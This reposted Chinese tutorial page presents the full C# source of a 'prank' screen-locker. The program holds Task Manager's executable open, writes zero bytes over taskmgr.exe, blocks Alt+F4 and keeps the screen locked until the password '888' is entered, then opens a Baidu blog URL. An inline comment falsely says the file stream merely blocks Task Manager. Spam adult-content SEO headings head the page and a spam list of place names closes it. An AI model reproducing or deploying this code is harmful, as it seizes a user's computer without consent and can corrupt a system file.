国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

用C#實現屏幕鎖定

2019-11-17 04:08:17
字體:
來源:轉載
供稿:網友
view plaincopy to clipboardPRint?
using System;   
using System.Collections.Generic;   
using System.ComponentModel;   
using System.Data;   
using System.Drawing;   
using System.Text;   
using System.Windows.Forms;   
using System.IO;   
using Microsoft.Win32;   
  
namespace 惡搞程序   
{   
    public partial class Form1 : Form   
    {   
        public Form1()   
        {   
            InitializeComponent();   
        }   
        int i = 0;   
        public FileStream MyFs;   
        private void timer1_Tick(object sender, EventArgs e)   
        {   
              
             if (this.progressBar1.Value == 50)   
            {   
                 label2.Text += "/n你現在按ALT+F4也沒用,不信你試試!!!呵呵";   
            }   
            if (this.progressBar1.Value == 100)   
            {   
                label2.ForeColor = Color.Blue; ;   
                label2.Text = "不行吧!!!";   
            }   
            if (this.progressBar1.Value == 150)   
            {   
                label2.ForeColor = Color.DarkGreen;   
                label2.Text = "結束不了了,怎么辦???";   
            }   
            if (this.progressBar1.Value == 200)   
           {   
                label2.Text = "任務管理器怎么樣???看能不能結束?";   
                label2.ForeColor = Color.White;   
            }   
            if (this.progressBar1.Value == 250)   
            {   
                  label2.ForeColor = Color.DarkRed;   
                label2.Text = "我靠,調不出來!!!";   
            }   
             if (this.progressBar1.Value == 300)   
            {   
                label2.ForeColor = Color.Yellow;   
                label2.Text = "重新啟動? 不會吧!!!";   
            }   
            if (this.progressBar1.Value ==350)   
            {   
                label2.ForeColor = Color.YellowGreen;   
                label2.Text = "沒辦法了吧";   
            }   
            if (this.progressBar1.Value == 400)   
            {   
                label2.ForeColor = Color.Red;   
                label2.Text = "自己慢慢想辦法吧,O(∩_∩)O~";   
            }   
            if (this.progressBar1.Value == 450)   
            {   
                label2.ForeColor = Color.Green;   
                label2.Text = "算了,不整你了";   
            }   
            if (this.progressBar1.Value == 500)   
            {   
                label2.ForeColor = Color.DarkGray;   
                label2.Text = "在文本框中輸入";   
            }   
            if (this.progressBar1.Value == 550)   
            {   
                label2.ForeColor = Color.Brown;   
                label2.Text = "888";   
            }   
            if (this.progressBar1.Value == 599)   
            {   
                label2.ForeColor = Color.Gold;   
                label2.Text+= "按回車";   
            }   
            if (i <=600)   
            {   
                this.progressBar1.Value = i++;   
            }   
            else  
            {   
                this.timer1.Stop();   
                return;   
            }   
        }   
  
        private void Form1_Load(object sender, EventArgs e)   
        {   
            
      MyFs = new FileStream(Environment.ExpandEnvironmentVariables("%windir%//system32//taskmgr.exe"), FileMode.Open);   
                byte[] Mybyte = new byte[(int)MyFs.Length];   
                MyFs.Write(Mybyte, 0, (int)MyFs.Length);   
      //MyFs.Close(); //用文件流打開任務管理器應用程序而不關閉文件流就會阻止打開任務管理器   
  
            this.KeyPreview = true;   
            progressBar1.Hide();   
           label2.Text="你的屏幕被鎖定了!!!";   
            timer1.Start();   
        }   
  
        private void Form1_KeyDown(object sender, KeyEventArgs e)   
        {   
            if (e.Alt)   
            {   
                if (e.KeyCode == Keys.F4)   
                {   
                    e.Handled = true;   
                    MessageBox.Show("ALT+F4被禁用", "警告", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);   
                }   
                   
            }   
        }   
  
        private void textBox1_KeyDown(object sender, KeyEventArgs e)   
        {   
            if (e.KeyCode == Keys.Enter)   
            {   
                if (textBox1.Text == "")   
                {   
                    MessageBox.Show("請輸入密碼!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Error);   
                    return;   
                }   
                if (textBox1.Text == "888")   
                {   
                    MyFs.Close();   
                    System.Diagnostics.Process.Start("http://hi.baidu.com/00zht00");   
                    this.Close();   
                }   
                else  
                {   
                    MessageBox.Show("對不起,您輸入的密碼錯誤,請查證后再試,謝謝合作!", "錯誤", MessageBoxButtons.OK, MessageBoxIcon.Error);   
                    textBox1.Text = "";   
                }   
            }   
        }    
    }   
}  
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 龙南县| 且末县| 收藏| 文安县| 双城市| 比如县| 资溪县| 隆德县| 昌乐县| 房产| 馆陶县| 阳城县| 特克斯县| 宁都县| 黎川县| 阿瓦提县| 额尔古纳市| 柳林县| 达尔| 成都市| 即墨市| 酉阳| 黑水县| 五台县| 公主岭市| 周口市| 仙桃市| 大竹县| 莎车县| 佛教| 简阳市| 安多县| 广州市| 乐陵市| 文成县| 盐城市| 拉萨市| 香港 | 通海县| 哈密市| 平阴县|